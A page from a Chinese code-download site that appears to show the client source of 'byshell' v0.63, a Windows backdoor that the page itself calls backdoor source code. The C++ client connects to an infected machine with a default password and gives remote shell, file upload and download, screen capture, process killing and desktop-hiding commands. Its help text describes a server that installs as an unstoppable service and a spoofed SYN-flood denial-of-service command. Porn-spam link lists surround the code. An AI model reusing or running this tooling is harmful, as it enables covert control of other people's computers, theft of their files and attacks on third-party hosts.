亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 063cli.cpp

?? byshell后門源代碼
?? CPP
字號:
//byshell v0.63 cli

#include <stdio.h>
#include <iostream.h>
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
char pwd[16]="by";char buff[66000]={0};char ip[31]={0};HANDLE filefp;unsigned int packnum=0;
char work(char * workbuff,unsigned int workbufflen,char workflag,int * psendlength);
void helpview(void);

void main(void){int ret;char workflag=0;
//printf("\tbyshell client ver 0.63\ntype HELP to view the detailed manual.\n");
printf("please input the server ip address\n");
gets(ip);printf("%s will be connected\n",ip);
WSADATA WSAData;WSAStartup(MAKEWORD(2,2),&WSAData);
SOCKET sock=socket(AF_INET,SOCK_STREAM,0);
sockaddr_in cliaddr;memset(&cliaddr,0,sizeof(struct sockaddr_in));
cliaddr.sin_family= AF_INET;
cliaddr.sin_port =0;
cliaddr.sin_addr.S_un.S_addr = INADDR_ANY;
sockaddr_in srvaddr;memset(&srvaddr,0,sizeof(struct sockaddr_in));
srvaddr.sin_family= AF_INET;
srvaddr.sin_port = htons(138);
srvaddr.sin_addr.S_un.S_addr = inet_addr(ip);
bind(sock,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr));
ret=connect(sock,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr));
if(ret==-1){printf("connect failed,check your network and remote ip.");exit(0);}
printf("input the password(the default one is \'by\')\n");
gets(pwd);int sendlength=65536;int recvlen=0;
//gets not include the \r,but scanf will
while(1){strncpy(buff,pwd,16);//copy pass before work,for chpass
workflag=work(buff+32,recvlen-32,workflag,&sendlength);sendlength+=32;
memcpy(buff+28,&sendlength,4);
if(sendlength!=send(sock,buff,sendlength,0)){printf("fatal error in transmission\n");exit(0);}
memset(buff,0,65536); recvlen=recv(sock,buff,65536,0);int duelen;memcpy(&duelen,buff+28,4);
while(duelen>recvlen){recvlen+=recv(sock,buff+recvlen,65536-recvlen,0);}//solve data division
}
}
//__finally{closesocket(sock);}

//now these are work codes.
char work(char * workbuff,unsigned int workbufflen,char workflag,int * psendlength){

if(workflag==0){printf("%s",workbuff);
lab1: memset(workbuff,0,65536);printf("#");gets(workbuff);*psendlength=strlen(workbuff);
if(!strncmp(workbuff,"HELP",4) || !strncmp(workbuff,"help",4)){helpview();goto lab1;}
if(!strncmp(workbuff,"shell",5)){return 1;}
if(!strncmp(workbuff,"chpass",6)){strncpy(pwd,workbuff+6,16);return 0;}
//get\tDES\tSRC,
if(!strncmp(workbuff,"get",3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
	sscanf(workbuff,"get\t%s\t%s",desfile,srcfile);
	filefp=CreateFile(desfile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	memset(workbuff+3,0,514);strcat(workbuff,srcfile);*psendlength=strlen(workbuff);
	return 2;}
//put\tDES\tSRC
if(!strncmp(workbuff,"put",3)){packnum=0;char desfile[255]={0};char srcfile[255]={0};
	sscanf(workbuff,"put\t%s\t%s",desfile,srcfile);
	filefp=CreateFile(srcfile,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	if(filefp==INVALID_HANDLE_VALUE){printf("no such local file.\n");goto lab1;}
	memset(workbuff+3,0,514);strcat(workbuff,desfile);*psendlength=strlen(workbuff);
	return 3;}
if(!strncmp(workbuff,"screen",6)){packnum=0;
	filefp=CreateFile("c:\\remotedesktop.bmp",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	*psendlength=strlen(workbuff);return 4;
}
return 0;
}
//
if(workflag==1){printf("%s",workbuff);memset(workbuff,0,65536);
gets(workbuff);strcat(workbuff,"\r\n");*psendlength=strlen(workbuff);
if(!strncmp(workbuff,"endshell",8)){return 0;}
return 1;
}
//get
if(workflag==2){unsigned int rcvpacknum=0;memcpy(&rcvpacknum,workbuff,4);
	if(!strncmp(workbuff,"no such file\n\0",14) && packnum==0){CloseHandle(filefp);printf("no such file\n");memset(workbuff,0,65536);goto lab1;}
//data division,especially TCP division,is BAD for us
	if(rcvpacknum!=packnum+1){printf("packet dropped,redirecting");memset(workbuff,0,65536);strcpy(workbuff,"redirect");packnum+=1;memcpy(workbuff+8,&packnum,4);packnum-=1;*psendlength=12;return 2;}
	DWORD byteswritten;WriteFile(filefp,workbuff+5,workbufflen-5,&byteswritten,0);if(byteswritten!=workbufflen-5){printf("warning:file system error\n");}
	if(workbuff[4]!='f'){packnum+=1;memset(workbuff,0,65536);packnum+=1;memcpy(workbuff,&packnum,4);packnum-=1;printf(".");*psendlength=5;return 2;}
	printf("file downloaded.\n");CloseHandle(filefp);goto lab1;
}
//put
//redirect
if(workflag==3 && strncmp(workbuff,"redirect",8)==0){unsigned int reqpacknum=0;memcpy(&reqpacknum,workbuff+8,4);memset(workbuff,0,65520);
	packnum=reqpacknum-1;SetFilePointer(filefp,4000*packnum,0,FILE_BEGIN);
	DWORD bytesread;ReadFile(filefp,workbuff+5,4000,&bytesread,0);
	if(bytesread==4000){packnum+=1;memcpy(workbuff,&reqpacknum,4);*psendlength=4005;return 3;}
	memcpy(workbuff,&reqpacknum,4);workbuff[4]='f';CloseHandle(filefp);*psendlength=5+bytesread;return 0;
}
if(workflag==3){unsigned int reqpacknum=0;memcpy(&reqpacknum,workbuff,4);
	if(!strncmp(workbuff,"no privilege to write\n",21) && packnum==0){CloseHandle(filefp);printf("no privilege to write\n");memset(workbuff,0,65536);goto lab1;}
	if(!strncmp(workbuff,"file system error\n",17)){CloseHandle(filefp);printf("file system error\n");memset(workbuff,0,65536);goto lab1;}
	if(reqpacknum!=packnum+1){memset(workbuff,0,65536);strcpy(workbuff,"packet dropped\n");*psendlength=strlen(workbuff);return 3;}//check,but not solve
	DWORD bytesread;ReadFile(filefp,workbuff+5,4000,&bytesread,0);
	if(bytesread==4000){packnum+=1;memcpy(workbuff,&reqpacknum,4);printf(".");*psendlength=4005;return 3;}
	memcpy(workbuff,&reqpacknum,4);workbuff[4]='f';CloseHandle(filefp);*psendlength=5+bytesread;return 0;
}
//screen
if(workflag==4){unsigned int rcvpacknum=0;memcpy(&rcvpacknum,workbuff,4);
	if(rcvpacknum!=packnum+1){CloseHandle(filefp);printf("packet dropped\n");return 0;}//check,but not solve
	DWORD byteswritten;WriteFile(filefp,workbuff+5,workbufflen-5,&byteswritten,0);printf(".");if(byteswritten!=workbufflen-5){printf("warning:file system error\n");}
	if(workbuff[4]!='f'){packnum+=1;memset(workbuff,0,65536);packnum+=1;memcpy(workbuff,&packnum,4);packnum-=1;*psendlength=4;return 4;}
	CloseHandle(filefp);printf("OK\n");goto lab1;
}




return 0;
}


void helpview(void){
cout << "			BYshell     v0.63" <<endl;
cout << "						author:b.y" <<endl;
cout << "	byshell v0.61A是一個完全SDK編寫的遠程控制軟件,作者允許此軟件及其源代碼自由傳播,但引用時應(yīng)注明原出處。在聯(lián)系作者并得到同意之前,不得將此軟件改編或刪選后用作商業(yè)用途,但可用作學習和私人用途。" <<endl;
cout << "	本軟件部分功能僅僅支持NT以上的Wind0wZ系統(tǒng)。bycli.exe為客戶端(控制方),而byshell.exe為服務(wù)端(被控制端)。第一次使用時,在服務(wù)端執(zhí)行byshell.exe -install,以后當服務(wù)端上網(wǎng),byshell會以服務(wù)自動啟動,此服務(wù)不能在進程管理器中停止。要刪除服務(wù),在服務(wù)端使用byshell.exe -remove,byshell就會被清除。" <<endl;
cout << "	byshell v0.61A是一個穩(wěn)定版本,在文件傳輸,命令映射等功能上相比byshell v0.61有了很大的改進和提高,修正了已知的幾乎所有BUG和缺陷。" <<endl;
cout << "	符號#是這個軟件的命令提示符。目前支持的命令:" <<endl;
cout << "cmd		在此后跟你要執(zhí)行的cmd命令,注意:只能執(zhí)行一條單獨的命令。僅僅支持NT以上的Wind0wZ系統(tǒng)。" <<endl;
cout << "	eg.  #cmddir c:\\winnt" <<endl;
cout << "shell		輸入此命令后,進入交互的遠程cmd,直到鍵入endshell返回#提示符。僅僅支持NT以上的Wind0wZ系統(tǒng)。" <<endl;
cout << "endshell	從shell狀態(tài)返回#提示符。" <<endl;
cout << "chpass		改變后門密碼。默認為“by”。" <<endl;
cout << "	eg.  #chpass123456" <<endl;
cout << "byver		查看連接的服務(wù)端的版本,新舊版本的客戶服務(wù)端間交互時,可能有嚴重的兼容性問題。" <<endl;
cout << "sysinfo		取得對方的基本系統(tǒng)信息。" <<endl;
cout << "pslist		對方進程列表。" <<endl;
cout << "pskill		殺死對方指定進程。在此后跟你要殺死的進程的PID(由pslist得到)。" <<endl;
cout << "	eg.  #pskill972" <<endl;
cout << "modlist		對方指定進程加載的所有DLL的列表。在此后跟你要查看的進程的PID(由pslist得到)。" <<endl;
cout << "	eg.  #modlist972" <<endl;
cout << "get		在此軟件的連接上下載遠程文件。命令格式:" <<endl;
cout << "	get <tab鍵> 本地保存文件名 <tab鍵> 遠程下載文件名" <<endl;
cout << "	eg.  #get	c:\\download\\file.txt	d:\\sourcefile.txt" <<endl;
cout << "put		在此軟件的連接上向遠程上傳文件。命令格式:" <<endl;
cout << "	put <tab鍵> 遠程保存文件名 <tab鍵> 本地上傳文件名" <<endl;
cout << "	eg.  #put	d:\\receive\file.txt	c:\\sourcefile.txt" <<endl;
cout << "screen		遠程截屏到本地,保存為“c:\\remotedesktop.bmp”文件,由此可查看遠程桌面。" <<endl;
cout << "	搞笑功能,開懷一笑:" <<endl;
cout << "popmsg		彈出信息框。" <<endl;
cout << "	eg.  #popmsghello,are you all right?" <<endl;
cout << "swapmouse	遠程鼠標左右鍵交換。" <<endl;
cout << "storemouse	遠程鼠標左右鍵復原。" <<endl;
cout << "hidesys		隱藏遠程桌面和任務(wù)欄。" <<endl;
cout << "showsys		恢復遠程桌面和任務(wù)欄。" <<endl;
cout <<endl;
cout << "警告:以下的SYN功能有一定的危險性,僅僅用做測試。如果用戶非法使用此功能攻擊合法站點,將自己承擔全部法律后果。" <<endl;
cout << "SYN		使用服務(wù)端發(fā)起SYN洪水的拒絕服務(wù)攻擊測試。" <<endl;
cout << "參數(shù):SYN 測試對象 測試的分鐘數(shù) IP偽造類型(可選參數(shù),0是完全偽造,1是C段偽造,2是不偽造,默認為0) 攻擊對象端口(可選參數(shù),默認為80WWW端口) 使用的端口(可選參數(shù),0是隨機變化,默認為0)\n";
cout << "如果選擇了某個可選參數(shù),那么在它左邊的可選參數(shù)就必須被選擇,在它右邊的可選參數(shù)則可以忽略。" <<endl;
cout << "	eg.	#SYN 172.18.1.5 15" <<endl;
cout << "	eg.	#SYN 172.18.1.5 15 1" <<endl;
cout << "	eg.	#SYN 172.18.1.5 15 1 445 12345" <<endl;
cout << "queryDOS	查詢服務(wù)端SYN攻擊測試的詳細情況。" <<endl;
cout << "endDOS		強制結(jié)束服務(wù)端的SYN作業(yè)。" <<endl;

cout << "\n	由于作者是初學者,水平有限,程序一定存在很多BUG。謝謝各位朋友、前輩指教:" <<endl;
cout << "		華東師大軟件學院04級  白遠方   baiyuanfan@163.com" <<endl;
cout << "注:screen功能中用到的DDBtoDIB代碼來源為xfocus.net的網(wǎng)友hzzh,著作權(quán)歸他所有。" <<endl;
cout << "    特別感謝在我寫這個小軟件時給了我很大幫助的gxisone(谷夕),glacier(黃鑫)和xfocus.net的所有朋友,是他們的支持使我這個初學者能夠克服困難和疑惑,最終完成這個程序。" <<endl;
cout << "" <<endl;




}









?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
99精品久久只有精品| 亚洲成人免费在线观看| 欧美日韩黄色影视| 色成年激情久久综合| 色婷婷一区二区三区四区| 成人天堂资源www在线| 91丝袜国产在线播放| 色综合视频一区二区三区高清| 91在线国产福利| 欧美性xxxxxx少妇| 制服.丝袜.亚洲.中文.综合| 欧美电影影音先锋| 欧美成人午夜电影| 国产精品国产三级国产aⅴ中文 | 久久精品免视看| 国产丝袜欧美中文另类| 国产精品美女久久久久久2018| 国产精品人妖ts系列视频| 亚洲男女毛片无遮挡| 秋霞午夜av一区二区三区| 精品亚洲免费视频| 一本大道综合伊人精品热热| 在线成人小视频| 久久夜色精品国产噜噜av| 亚洲精品成人少妇| 琪琪一区二区三区| 色婷婷亚洲精品| 精品毛片乱码1区2区3区| 亚洲欧美激情视频在线观看一区二区三区| 亚洲女同女同女同女同女同69| 日本aⅴ亚洲精品中文乱码| 白白色 亚洲乱淫| 日韩一卡二卡三卡四卡| 一区二区三区在线观看欧美| 精品一区二区成人精品| 国产在线观看免费一区| 国产福利一区在线| 欧洲生活片亚洲生活在线观看| 国产亚洲一区二区在线观看| 日本中文字幕不卡| 欧美吻胸吃奶大尺度电影| 亚洲欧美中日韩| 成人手机电影网| 国产精品丝袜在线| 国产一区二区在线电影| 综合av第一页| 激情久久五月天| 国产午夜精品一区二区三区四区| 蜜臀久久99精品久久久画质超高清 | 琪琪久久久久日韩精品| 欧美日韩一级视频| 三级一区在线视频先锋 | 一级日本不卡的影视| 色婷婷综合久久| 蜜桃视频一区二区三区| 精品少妇一区二区三区日产乱码| 久久er99热精品一区二区| 精品国产乱码91久久久久久网站| 韩国一区二区三区| 亚洲视频一二三区| 日韩欧美高清一区| 99精品欧美一区二区蜜桃免费 | 欧美亚洲一区二区在线观看| 午夜精品福利在线| 久久久久久一二三区| 91视视频在线直接观看在线看网页在线看 | 26uuu国产电影一区二区| 不卡av在线网| 五月天欧美精品| 欧美韩日一区二区三区四区| 91麻豆swag| 极品销魂美女一区二区三区| 亚洲欧美一区二区三区极速播放| 6080国产精品一区二区| 国产成人亚洲综合a∨婷婷| 婷婷开心久久网| 亚洲精品网站在线观看| 中文子幕无线码一区tr| 精品日韩欧美在线| 欧美一区二区三区视频在线观看 | 久久久精品国产免大香伊 | 亚洲一区在线看| 国产精品护士白丝一区av| 欧美xxxxx裸体时装秀| 91精品国产一区二区| 欧美日韩国产区一| 欧美午夜电影网| 日韩一区二区三区观看| 日韩精品视频网| 欧美一二三四区在线| 欧美精品色一区二区三区| 在线精品亚洲一区二区不卡| 91论坛在线播放| 欧美丝袜丝交足nylons| 91.麻豆视频| 日韩精品一区二区三区在线观看| 欧美日韩国产在线观看| 欧美一区二区精品在线| 欧美大白屁股肥臀xxxxxx| 久久久久久久久久看片| 国产精品素人一区二区| 亚洲一区二区三区视频在线播放| 亚洲成人av资源| 国产凹凸在线观看一区二区| 97久久人人超碰| 日韩精品一区二区三区在线观看 | 久久99精品网久久| 国产99久久久久久免费看农村| 97久久精品人人澡人人爽| 欧美日韩一区高清| 国产日韩成人精品| 亚洲国产wwwccc36天堂| 国产一区二区三区免费观看| 欧美在线你懂的| 国产精品二区一区二区aⅴ污介绍| 亚洲成人激情自拍| 91小视频免费观看| 精品国产1区二区| 日韩电影一区二区三区四区| 成人毛片在线观看| 久久日韩粉嫩一区二区三区| 婷婷久久综合九色综合伊人色| 99视频精品免费视频| 欧美国产一区在线| 精品无码三级在线观看视频| 欧美日本一区二区三区| 亚洲h精品动漫在线观看| 色中色一区二区| 亚洲免费资源在线播放| 99久久精品免费| 日韩伦理电影网| 成人av影视在线观看| 26uuu成人网一区二区三区| 秋霞电影一区二区| 日韩一级完整毛片| 青青草97国产精品免费观看 | 亚洲成人www| 91精品国产品国语在线不卡 | 91美女片黄在线| 亚洲乱码日产精品bd| 色婷婷综合久久久久中文一区二区| 国产精品另类一区| 一本大道av一区二区在线播放| 亚洲人快播电影网| 日韩一区二区三区免费看| 狠狠v欧美v日韩v亚洲ⅴ| 国产午夜精品理论片a级大结局| 成人综合婷婷国产精品久久免费| 国产精品国产三级国产普通话三级| 不卡电影免费在线播放一区| 午夜私人影院久久久久| 91精品国产高清一区二区三区蜜臀 | 久久99国产精品尤物| 亚洲色图视频网| 欧美一级日韩一级| 一区二区三区91| 成人国产精品免费观看视频| 亚洲激情校园春色| 日韩欧美激情四射| 欧美熟乱第一页| 国产宾馆实践打屁股91| 美国十次综合导航| 亚洲美女屁股眼交| 国产日韩欧美综合在线| 欧美日本免费一区二区三区| 国产精品一区二区视频| 亚洲一区二区三区中文字幕在线| 精品区一区二区| 日韩一区二区影院| 91蜜桃婷婷狠狠久久综合9色| 午夜影视日本亚洲欧洲精品| 欧美韩国一区二区| 2023国产精品自拍| 正在播放亚洲一区| 欧美剧情片在线观看| 色94色欧美sute亚洲线路二| 大胆亚洲人体视频| 成人午夜av影视| 丁香婷婷深情五月亚洲| 国产毛片精品一区| 久草中文综合在线| 国产一区二区三区在线观看免费视频| 性久久久久久久| 麻豆精品在线观看| 成人小视频在线| 91首页免费视频| 欧美视频日韩视频在线观看| 欧美日韩一区中文字幕| 色一情一乱一乱一91av| 色综合欧美在线视频区| 欧美中文字幕一区| 欧美三级午夜理伦三级中视频| 欧美日韩在线精品一区二区三区激情| 91福利视频网站| 久久蜜桃av一区精品变态类天堂| 亚洲欧美怡红院| 水蜜桃久久夜色精品一区的特点 | 色香蕉久久蜜桃| 欧美成人综合网站| 亚洲香肠在线观看|